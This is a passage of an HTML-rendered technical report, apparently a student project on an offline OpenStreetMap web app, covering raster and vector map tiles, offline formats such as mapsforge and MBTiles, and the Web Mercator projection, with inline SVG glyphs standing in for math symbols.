&lt;li&gt;You can only download a relatively limited geographical area, usually only around 2 km&lt;sup&gt;2&lt;/sup&gt;. This has the effect that you will not be able to zoom out to see a large area, such an entire country &lt;a id="loc-53" href="#loc-137" role="doc-biblioref"&gt;[37]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Complex structures (like buildings with internal courtyards) represented in OpenStreetMap as multipolyons require extensive parsing and validation to correctly display.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For online maps, it is common to use either raster or vector “map tiles”. Raster map tiles are usually 256&lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.778em; height: 0.683em;" viewBox="0 0 8.558 7.513000000000001" width="8.558pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g471814499816E9851626FDAE16332F23" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g471814499816E9851626FDAE16332F23" overflow="visible"&gt;&lt;path d="M 0 0m 6.93 0.352 c 0 0.07699999 -0.021999836 0.132 -0.076999664 0.18699998 l -2.211 2.211 l 2.211 2.211 c 0.05499983 0.05499983 0.076999664 0.11000013 0.076999664 0.1869998 c 0 0.14300013 -0.10999966 0.25300026 -0.25299978 0.25300026 c -0.07700014 0 -0.13199997 -0.021999836 -0.18700027 -0.07700014 l -2.211 -2.211 l -2.2109997 2.211 c -0.055000067 0.055000305 -0.11000013 0.07700014 -0.18700004 0.07700014 c -0.143 0 -0.25300002 -0.11000013 -0.25300002 -0.25300026 c 0 -0.076999664 0.021999955 -0.13199997 0.07700002 -0.1869998 l 2.211 -2.211 l -2.211 -2.211 c -0.055000067 -0.054999977 -0.07700002 -0.109999985 -0.07700002 -0.18699998 c 0 -0.143 0.110000014 -0.253 0.25300002 -0.253 c 0.0769999 0 0.13199997 0.022 0.18700004 0.077 l 2.2109997 2.211 l 2.211 -2.211 c 0.055000305 -0.055 0.11000013 -0.077 0.18700027 -0.077 c 0.14300013 0 0.25299978 0.10999999 0.25299978 0.253 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt;256 &lt;code&gt;.png&lt;/code&gt; files, rendered by a Mapnik server. These tiles are named according to their zoom level, and an &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.572em; height: 0.683em;" viewBox="0 0 6.292 7.513000000000001" width="6.292pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g288EB05AEC3878210F61A71EB8174F80" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g288EB05AEC3878210F61A71EB8174F80" overflow="visible"&gt;&lt;path d="M 0 0m 5.797 4.103 c 0 0.50600004 -0.4949999 0.7589998 -1.0450001 0.7589998 c -0.47300005 0 -0.8469999 -0.25299978 -1.1329999 -0.7589998 c -0.23099995 0.50600004 -0.61599994 0.7589998 -1.177 0.7589998 c -0.5389999 0 -0.979 -0.25299978 -1.331 -0.74800014 c -0.29699993 -0.4289999 -0.45099998 -0.7479999 -0.45099998 -0.9569998 c 0 -0.09899998 0.055000007 -0.15400004 0.16500002 -0.15400004 c 0.09900004 0 0.16500002 0.055000067 0.18699998 0.15400004 c 0.20899999 0.638 0.671 1.3859997 1.4080001 1.3859997 c 0.36299992 0 0.5389998 -0.23099995 0.5389998 -0.6819997 c 0 -0.23100019 -0.19799995 -1.089 -0.58299994 -2.5630002 c -0.18700004 -0.737 -0.51699996 -1.1 -0.9899999 -1.1 c -0.15400004 0 -0.29700005 0.033000007 -0.41800004 0.088000014 c 0.28599995 0.109999985 0.42899996 0.30799997 0.42899996 0.594 c 0 0.286 -0.143 0.42900002 -0.43999994 0.42900002 c -0.36300004 0 -0.638 -0.30799997 -0.638 -0.671 c 0 -0.50600004 0.51699996 -0.759 1.056 -0.759 c 0.462 0 0.83599997 0.253 1.1329999 0.759 c 0.20900011 -0.50600004 0.605 -0.759 1.177 -0.759 c 0.5279999 0 0.96799994 0.253 1.3200002 0.74799997 c 0.29699993 0.42900002 0.45099974 0.748 0.45099974 0.957 c 0 0.09899998 -0.05499983 0.15400004 -0.16499996 0.15400004 c -0.09899998 0 -0.1539998 -0.055000067 -0.1869998 -0.15400004 c -0.18700027 -0.627 -0.68200016 -1.386 -1.3970001 -1.386 c -0.36300015 0 -0.54999995 0.21999998 -0.54999995 0.671 c 0 0.14299995 0.05499983 0.45099992 0.17599988 0.9459999 l 0.37400007 1.485 c 0.20899987 0.82500005 0.54999995 1.2429998 1.0340002 1.2429998 c 0.1539998 0 0.29699993 -0.032999992 0.41799974 -0.08799982 c -0.29699993 -0.09899998 -0.44000006 -0.29699993 -0.44000006 -0.59399986 c 0 -0.286 0.15400028 -0.42900014 0.4510002 -0.42900014 c 0.35199976 0 0.62699986 0.319 0.62699986 0.67100024 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; and &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.518em; height: 0.683em;" viewBox="0 0 5.698 7.513000000000001" width="5.698pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#gD1F0DEADEB395B3F5C60AD3163D51B32" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="gD1F0DEADEB395B3F5C60AD3163D51B32" overflow="visible"&gt;&lt;path d="M 0 0m 1.793 4.862 c -0.495 0 -0.88 -0.2750001 -1.155 -0.8249998 c -0.20900002 -0.42900014 -0.319 -0.7260003 -0.319 -0.8910003 c 0 -0.09899998 0.055000007 -0.1539998 0.176 -0.1539998 c 0.15399998 0 0.16499996 0.065999985 0.20899999 0.23099995 c 0.25300002 0.86899996 0.605 1.309 1.056 1.309 c 0.143 0 0.22000003 -0.09899998 0.22000003 -0.29699993 c 0 -0.17600012 -0.055000067 -0.42900014 -0.176 -0.74800014 c -0.41799998 -1.1329999 -0.627 -1.892 -0.627 -2.299 c 0 -0.83599997 0.51699996 -1.331 1.3639998 -1.331 c 0.36300015 0 0.704 0.132 1.0120001 0.396 c -0.385 -1.452 -0.99 -2.178 -1.8149999 -2.178 c -0.37400007 0 -0.6270001 0.12099993 -0.75900006 0.36299992 c 0.44000006 0.022000074 0.65999997 0.23100007 0.65999997 0.62700003 c 0 0.27500004 -0.14299989 0.41799998 -0.43999994 0.41799998 c -0.407 0 -0.649 -0.34099996 -0.649 -0.74799997 c 0 -0.605 0.55 -0.9899999 1.188 -0.9899999 c 1.265 0 2.2990003 1.1659999 2.574 2.244 l 1.0340004 4.158 c 0.032999992 0.12100029 0.043999672 0.20900011 0.043999672 0.26399994 c 0 0.22000027 -0.12099981 0.3300004 -0.35199976 0.3300004 c -0.17600012 0 -0.31900024 -0.0880003 -0.41800022 -0.25300026 c -0.065999985 -0.23099995 -0.12099981 -0.4289999 -0.1539998 -0.59399986 l -0.704 -2.8270001 c -0.11000013 -0.39600003 -0.6930001 -0.89100003 -1.1880002 -0.89100003 c -0.41799998 0 -0.62699986 0.275 -0.62699986 0.83599997 c 0 0.462 0.18700004 1.166 0.54999995 2.112 c 0.14299989 0.385 0.22000003 0.6489999 0.22000003 0.803 c 0 0.53900003 -0.385 0.93499994 -0.924 0.93499994 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; value, where &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.572em; height: 0.683em;" viewBox="0 0 6.292 7.513000000000001" width="6.292pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g288EB05AEC3878210F61A71EB8174F80" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g288EB05AEC3878210F61A71EB8174F80" overflow="visible"&gt;&lt;path d="M 0 0m 5.797 4.103 c 0 0.50600004 -0.4949999 0.7589998 -1.0450001 0.7589998 c -0.47300005 0 -0.8469999 -0.25299978 -1.1329999 -0.7589998 c -0.23099995 0.50600004 -0.61599994 0.7589998 -1.177 0.7589998 c -0.5389999 0 -0.979 -0.25299978 -1.331 -0.74800014 c -0.29699993 -0.4289999 -0.45099998 -0.7479999 -0.45099998 -0.9569998 c 0 -0.09899998 0.055000007 -0.15400004 0.16500002 -0.15400004 c 0.09900004 0 0.16500002 0.055000067 0.18699998 0.15400004 c 0.20899999 0.638 0.671 1.3859997 1.4080001 1.3859997 c 0.36299992 0 0.5389998 -0.23099995 0.5389998 -0.6819997 c 0 -0.23100019 -0.19799995 -1.089 -0.58299994 -2.5630002 c -0.18700004 -0.737 -0.51699996 -1.1 -0.9899999 -1.1 c -0.15400004 0 -0.29700005 0.033000007 -0.41800004 0.088000014 c 0.28599995 0.109999985 0.42899996 0.30799997 0.42899996 0.594 c 0 0.286 -0.143 0.42900002 -0.43999994 0.42900002 c -0.36300004 0 -0.638 -0.30799997 -0.638 -0.671 c 0 -0.50600004 0.51699996 -0.759 1.056 -0.759 c 0.462 0 0.83599997 0.253 1.1329999 0.759 c 0.20900011 -0.50600004 0.605 -0.759 1.177 -0.759 c 0.5279999 0 0.96799994 0.253 1.3200002 0.74799997 c 0.29699993 0.42900002 0.45099974 0.748 0.45099974 0.957 c 0 0.09899998 -0.05499983 0.15400004 -0.16499996 0.15400004 c -0.09899998 0 -0.1539998 -0.055000067 -0.1869998 -0.15400004 c -0.18700027 -0.627 -0.68200016 -1.386 -1.3970001 -1.386 c -0.36300015 0 -0.54999995 0.21999998 -0.54999995 0.671 c 0 0.14299995 0.05499983 0.45099992 0.17599988 0.9459999 l 0.37400007 1.485 c 0.20899987 0.82500005 0.54999995 1.2429998 1.0340002 1.2429998 c 0.1539998 0 0.29699993 -0.032999992 0.41799974 -0.08799982 c -0.29699993 -0.09899998 -0.44000006 -0.29699993 -0.44000006 -0.59399986 c 0 -0.286 0.15400028 -0.42900014 0.4510002 -0.42900014 c 0.35199976 0 0.62699986 0.319 0.62699986 0.67100024 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; and &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.518em; height: 0.683em;" viewBox="0 0 5.698 7.513000000000001" width="5.698pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#gD1F0DEADEB395B3F5C60AD3163D51B32" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="gD1F0DEADEB395B3F5C60AD3163D51B32" overflow="visible"&gt;&lt;path d="M 0 0m 1.793 4.862 c -0.495 0 -0.88 -0.2750001 -1.155 -0.8249998 c -0.20900002 -0.42900014 -0.319 -0.7260003 -0.319 -0.8910003 c 0 -0.09899998 0.055000007 -0.1539998 0.176 -0.1539998 c 0.15399998 0 0.16499996 0.065999985 0.20899999 0.23099995 c 0.25300002 0.86899996 0.605 1.309 1.056 1.309 c 0.143 0 0.22000003 -0.09899998 0.22000003 -0.29699993 c 0 -0.17600012 -0.055000067 -0.42900014 -0.176 -0.74800014 c -0.41799998 -1.1329999 -0.627 -1.892 -0.627 -2.299 c 0 -0.83599997 0.51699996 -1.331 1.3639998 -1.331 c 0.36300015 0 0.704 0.132 1.0120001 0.396 c -0.385 -1.452 -0.99 -2.178 -1.8149999 -2.178 c -0.37400007 0 -0.6270001 0.12099993 -0.75900006 0.36299992 c 0.44000006 0.022000074 0.65999997 0.23100007 0.65999997 0.62700003 c 0 0.27500004 -0.14299989 0.41799998 -0.43999994 0.41799998 c -0.407 0 -0.649 -0.34099996 -0.649 -0.74799997 c 0 -0.605 0.55 -0.9899999 1.188 -0.9899999 c 1.265 0 2.2990003 1.1659999 2.574 2.244 l 1.0340004 4.158 c 0.032999992 0.12100029 0.043999672 0.20900011 0.043999672 0.26399994 c 0 0.22000027 -0.12099981 0.3300004 -0.35199976 0.3300004 c -0.17600012 0 -0.31900024 -0.0880003 -0.41800022 -0.25300026 c -0.065999985 -0.23099995 -0.12099981 -0.4289999 -0.1539998 -0.59399986 l -0.704 -2.8270001 c -0.11000013 -0.39600003 -0.6930001 -0.89100003 -1.1880002 -0.89100003 c -0.41799998 0 -0.62699986 0.275 -0.62699986 0.83599997 c 0 0.462 0.18700004 1.166 0.54999995 2.112 c 0.14299989 0.385 0.22000003 0.6489999 0.22000003 0.803 c 0 0.53900003 -0.385 0.93499994 -0.924 0.93499994 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; are offsets from the top left most tile &lt;a href="#loc-115" role="doc-biblioref"&gt;[15]&lt;/a&gt;. Raster tiles, however, are not particularly appropriate for offline usage, as you have to request an extremely large amount of tiles, especially when you approach high zoom levels. For example, if you downloaded 4 tiles at zoom 10, you would need to download 16 at zoom 11, 64 at zoom 12, and 262144 at zoom 18. This behaviour is unacceptable as rendering tiles is computationally expensive for the OpenStreetMap Foundation, and the size of these tiles adds up.&lt;/p&gt;
&lt;p&gt;Vector tiles use a similar scheme, with tiles also being served at Z/X/Y addresses. The key differentiator is that instead of rendered images, vector data is served to clients, and it is up to the clients to render this data into a map. This gives the clients flexibility in how they can choose to display the data, such as the colours, labels, and line thicknesses. This is usually done through stylesheets. As vector data does not pixelate like raster images, you can “overzoom” on vector tiles, meaning you do not have to serve tiles to such high zoom levels. One of the most popular formats for vector map tiles are Mapbox Vector tiles. These use the Google Protobuf format to store the vector data.&lt;/p&gt;
&lt;p&gt;Vector tiles make a more appropriate offline format than raster tiles, due to their ability to “overzoom”, and that vector data can be stored more efficiently. Unfortunately, it is still not particularly suited to offline usage, as with raster tiles, you need to download many tiles to cover a large region.&lt;/p&gt;
&lt;p&gt;Therefore, it makes sense to use a dedicated storage format, that is designed to provide map data for offline applications. The OpenStreetMap Wiki provides a number of possible options for this purpose &lt;a id="loc-54" href="#loc-138" role="doc-biblioref"&gt;[38]&lt;/a&gt;. The most popular choices are mapsforge &lt;a id="loc-55" href="#loc-139" role="doc-biblioref"&gt;[39]&lt;/a&gt;, which is used by many applications &lt;a id="loc-56" href="#loc-140" role="doc-biblioref"&gt;[40]&lt;/a&gt;, and MBTiles (by Mapbox) &lt;a id="loc-57" href="#loc-141" role="doc-biblioref"&gt;[41]&lt;/a&gt;. Unfortunately, as the MBTiles format is based on an SQLite database, it can’t easily be used in a HTML5 app.&lt;/p&gt;
&lt;p&gt;Mapsforge, on the other hand, uses a custom binary data format &lt;a href="#loc-112" role="doc-biblioref"&gt;[12]&lt;/a&gt;. Mapsforge only provide libraries for the Java language and the Android platform. There is a partial implementation available of a parser written in JavaScript, which only supports decoding the headers and other metadata. Hence, to use this format for my project, I would need to implement my own parser, which would add substantial complexity. I may also need to tackle issues with memory usage, as parsing and rendering the file will require random access within it — meaning loading the whole file into an &lt;code&gt;ArrayBuffer&lt;/code&gt; or some similar structure. Using the &lt;code&gt;Blob.slice()&lt;/code&gt; method in JavaScript may allow me to work around this issue to some degree.&lt;/p&gt;
&lt;p&gt;If parsing the Mapsforge binary files is too complex, I can scale back the project to using the OSM Editing API. This will require less parsing work, but will still have plenty of issues to overcome in terms of rendering.&lt;/p&gt;
&lt;h3 id="loc-58"&gt;Projecting map data&lt;/h3&gt;
&lt;p&gt;The core of this project is being able to render a map. This, in its most basic form, means being able to take coordinates, which represent a position on the sphere-like body that is the earth, and placing these on a two-dimensional plane. This process is known as map projection &lt;a id="loc-59" href="#loc-142" role="doc-biblioref"&gt;[42, p. 5]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OpenStreetMap uses the WGS84 coordinate reference system (EPSG:4326) to represent the positions of the nodes that make up its data &lt;a id="loc-60" href="#loc-143" role="doc-biblioref"&gt;[43]&lt;/a&gt;. GPS uses this CRS, and it is a popular standard &lt;a id="loc-61" href="#loc-144" role="doc-biblioref"&gt;[44]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you were to naively place coordinates from the WGS84 system on to a graph, you would get a “plate carrée” projected map. This projection is a form of the equirectangular projection, where the standard parallel &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 2.883855555555556em; height: 0.683em;" viewBox="0 0 31.72241111111111 7.513000000000001" width="31.72241111111111pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g8E0CA508A97FCEB9A01647420D81994A" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 6.556 10.23)"&gt;&lt;use xlink:href="#gAF9EB520E3A34C57CE8359D7433988FA" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 14.608855555555555 7.513000000000001)"&gt;&lt;use xlink:href="#gEF8BA589DAA93C55687BBE9F18D785DF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 26.22241111111111 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g8E0CA508A97FCEB9A01647420D81994A" overflow="visible"&gt;&lt;path d="M 0 0m 4.235 4.895 c 0.20899963 0.86899996 0.4289999 1.7160001 0.62699986 2.585 v 0.032999992 c -0.032999992 0.07700014 -0.08799982 0.12099981 -0.17600012 0.12099981 c -0.09899998 0 -0.16499996 -0.08799982 -0.19799995 -0.25299978 l -0.62699986 -2.486 c -0.82500005 -0.032999992 -1.573 -0.34100008 -2.244 -0.9130001 c -0.715 -0.6049998 -1.0780001 -1.3089998 -1.0780001 -2.112 c 0 -1.188 0.91300005 -1.947 2.0679998 -2.013 c -0.20899987 -0.86899996 -0.36299992 -1.4959999 -0.4619999 -1.87 c -0.010999918 -0.032999992 -0.010999918 -0.065999985 -0.010999918 -0.0769999 c 0 -0.11000013 0.05499983 -0.16499996 0.17599988 -0.16499996 c 0.12100005 0 0.15400004 0.065999985 0.18700004 0.19799995 l 0.48399997 1.9029999 c 0.82500005 0.033 1.573 0.34100002 2.244 0.913 c 0.71500015 0.616 1.0780001 1.3199999 1.0780001 2.123 c 0 1.177 -0.93499994 1.914 -2.0679998 2.013 Z m -0.0880003 -0.32999992 c 0.83599997 -0.055000305 1.3640003 -0.572 1.3640003 -1.4520001 c 0 -0.43999982 -0.09899998 -0.8799999 -0.2970004 -1.3089999 c -0.35199976 -0.79200006 -1.1549997 -1.518 -2.1559997 -1.617 Z m -2.816 -2.926 c 0 0.44000006 0.09899998 0.8800001 0.29700005 1.309 c 0.352 0.79200006 1.155 1.507 2.145 1.6170001 l -1.089 -4.389 c -0.82500005 0.066 -1.353 0.583 -1.353 1.4629999 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gAF9EB520E3A34C57CE8359D7433988FA" overflow="visible"&gt;&lt;path d="M 0 0m 2.3331 5.1128 c -0.3311 -0.32340002 -0.8239001 -0.48510027 -1.4938002 -0.48510027 v -0.33879995 c 0.4543 0 0.81619996 0.069300175 1.0934 0.20020008 v -3.8346 c 0 -0.10010004 -0.0077000856 -0.16170001 -0.030800104 -0.1925 c -0.03849995 -0.08470002 -0.2694999 -0.13090003 -0.69299996 -0.13090003 h -0.3157 v -0.3311 l 1.3706 0.0308 l 1.3783002 -0.0308 v 0.3311 h -0.31570005 c -0.42350006 0 -0.6545 0.046200007 -0.70070004 0.13090003 c -0.015399933 0.030799985 -0.0230999 0.092399955 -0.0230999 0.1925 v 4.2118998 c 0 0.20790005 -0.030800104 0.24640036 -0.26950002 0.24640036 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gEF8BA589DAA93C55687BBE9F18D785DF" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 4.037 h -6.798 c -0.176 0 -0.264 -0.0880003 -0.264 -0.25300026 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.13199997 -0.12099981 0.25300026 -0.26399994 0.25300026 Z m 0 -2.0680003 h -6.798 c -0.176 0 -0.264 -0.08799994 -0.264 -0.25300002 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.143 -0.12099981 0.25300002 -0.26399994 0.25300002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFD2112639B0D2471708560F8720745C2" overflow="visible"&gt;&lt;path d="M 0 0m 2.739 -0.242 c 1.5509999 0 2.3209999 1.254 2.3209999 3.762 c 0 1.6830001 -0.35199976 2.8049998 -1.0450001 3.355 c -0.385 0.29699993 -0.8139999 0.45099974 -1.2649999 0.45099974 c -1.551 0 -2.321 -1.2649999 -2.321 -3.8059998 c 0 -2.024 0.53900003 -3.762 2.3100002 -3.762 Z m 1.2319999 6.006 c 0.0769999 -0.38499975 0.109999895 -1.0889997 0.109999895 -2.112 c 0 -1.0120001 -0.043999672 -1.76 -0.12099981 -2.244 c -0.14300013 -0.88 -0.54999995 -1.3199999 -1.221 -1.3199999 c -0.25300002 0 -0.50600004 0.09900001 -0.737 0.286 c -0.29700005 0.25299996 -0.47300005 0.77000004 -0.5500001 1.562 c -0.032999992 0.27499998 -0.04400003 0.847 -0.04400003 1.716 c 0 0.95700026 0.032999992 1.6279998 0.08800006 1.9910002 c 0.09899998 0.605 0.29699993 0.9899998 0.605 1.1549997 c 0.24199986 0.13199997 0.45099998 0.19799995 0.638 0.19799995 c 0.7149999 0 1.1109998 -0.5829997 1.2319999 -1.2319999 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt;. In plate carrée, lines of longitude are straight, vertical and equidistant, and lines of latitude are similar, albeit horizontal. Although all map projections are compromises between conformality (preservation of angle) and preservation of area, plate carré does not preserve either, meaning it is not particularly well-used.&lt;/p&gt;
&lt;p&gt;Hence, &lt;code&gt;openstreetmap.org&lt;/code&gt; presents a map in the “Web Mercator” projection (also known as Spherical Mercator, WGS 84/Pseudo-Mercator, Google Web Mercator, EPSG:3857). This projection is almost conformal, meaning that (local) angles on the map are the same as angles on the ground, even if lengths are not preserved &lt;a id="loc-62" href="#loc-145" role="doc-biblioref"&gt;[45]&lt;/a&gt;. It deviates from normal Mercator in that its calculations are based on the earth being a true sphere, rather than ellipsoidal. The benefit of this is that the calculations for converting between WGS84 latitude/longitude coordinates, and Web Mercator are simpler than normal Mercator &lt;a id="loc-63" href="#loc-146" role="doc-biblioref"&gt;[46]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, to convert from latitude/longitude coordinates to Web Mercator, we can use equations 7-1a &amp;amp; 7-2a from &lt;a id="loc-64" href="#loc-147" role="doc-biblioref"&gt;[47, p. 41]&lt;/a&gt;, where &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.583em; height: 0.683em;" viewBox="0 0 6.412999999999999 7.513000000000001" width="6.412999999999999pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g4A68A2F7AB9BBD132A3C5675F3B3C604" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g4A68A2F7AB9BBD132A3C5675F3B3C604" overflow="visible"&gt;&lt;path d="M 0 0m 0.946 -0.143 c 0.12100005 0 0.25300002 0.07700001 0.39600003 0.24200001 l 2.563 3.036 c 0.385 -1.056 0.67100024 -1.848 0.85800004 -2.387 c 0.12099981 -0.34100002 0.19799995 -0.53900003 0.25299978 -0.61600006 c 0.12100029 -0.16499999 0.3300004 -0.253 0.6160002 -0.253 h 0.23099995 c 0.11000013 0.011 0.16499996 0.055 0.16499996 0.154 c 0 0.022 -0.021999836 0.066 -0.065999985 0.121 c -0.07700014 0.07700001 -0.1539998 0.242 -0.2420001 0.495 l -2.2109997 6.1819997 c -0.18700004 0.53900003 -0.638 0.803 -1.3530002 0.803 c -0.16499996 0 -0.24199986 -0.05499983 -0.24199986 -0.16499996 c 0 -0.076999664 0.065999985 -0.13199997 0.18700004 -0.16499996 c 0.1539998 -0.04400015 0.25300002 -0.09899998 0.30799985 -0.16499996 c 0.07700014 -0.08799982 0.18700004 -0.3080001 0.3080001 -0.65999985 l 1.0450001 -2.937 l -2.97 -2.959 c -0.143 -0.143 -0.20899999 -0.264 -0.20899999 -0.363 c 0 -0.198 0.16500002 -0.363 0.36299998 -0.363 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; is longitude and &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.601em; height: 0.683em;" viewBox="0 0 6.611 7.513000000000001" width="6.611pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g8E0CA508A97FCEB9A01647420D81994A" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g8E0CA508A97FCEB9A01647420D81994A" overflow="visible"&gt;&lt;path d="M 0 0m 4.235 4.895 c 0.20899963 0.86899996 0.4289999 1.7160001 0.62699986 2.585 v 0.032999992 c -0.032999992 0.07700014 -0.08799982 0.12099981 -0.17600012 0.12099981 c -0.09899998 0 -0.16499996 -0.08799982 -0.19799995 -0.25299978 l -0.62699986 -2.486 c -0.82500005 -0.032999992 -1.573 -0.34100008 -2.244 -0.9130001 c -0.715 -0.6049998 -1.0780001 -1.3089998 -1.0780001 -2.112 c 0 -1.188 0.91300005 -1.947 2.0679998 -2.013 c -0.20899987 -0.86899996 -0.36299992 -1.4959999 -0.4619999 -1.87 c -0.010999918 -0.032999992 -0.010999918 -0.065999985 -0.010999918 -0.0769999 c 0 -0.11000013 0.05499983 -0.16499996 0.17599988 -0.16499996 c 0.12100005 0 0.15400004 0.065999985 0.18700004 0.19799995 l 0.48399997 1.9029999 c 0.82500005 0.033 1.573 0.34100002 2.244 0.913 c 0.71500015 0.616 1.0780001 1.3199999 1.0780001 2.123 c 0 1.177 -0.93499994 1.914 -2.0679998 2.013 Z m -0.0880003 -0.32999992 c 0.83599997 -0.055000305 1.3640003 -0.572 1.3640003 -1.4520001 c 0 -0.43999982 -0.09899998 -0.8799999 -0.2970004 -1.3089999 c -0.35199976 -0.79200006 -1.1549997 -1.518 -2.1559997 -1.617 Z m -2.816 -2.926 c 0 0.44000006 0.09899998 0.8800001 0.29700005 1.309 c 0.352 0.79200006 1.155 1.507 2.145 1.6170001 l -1.089 -4.389 c -0.82500005 0.066 -1.353 0.583 -1.353 1.4629999 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; is latitude, both in degrees:&lt;/p&gt;
&lt;div class="typst-equation"&gt;
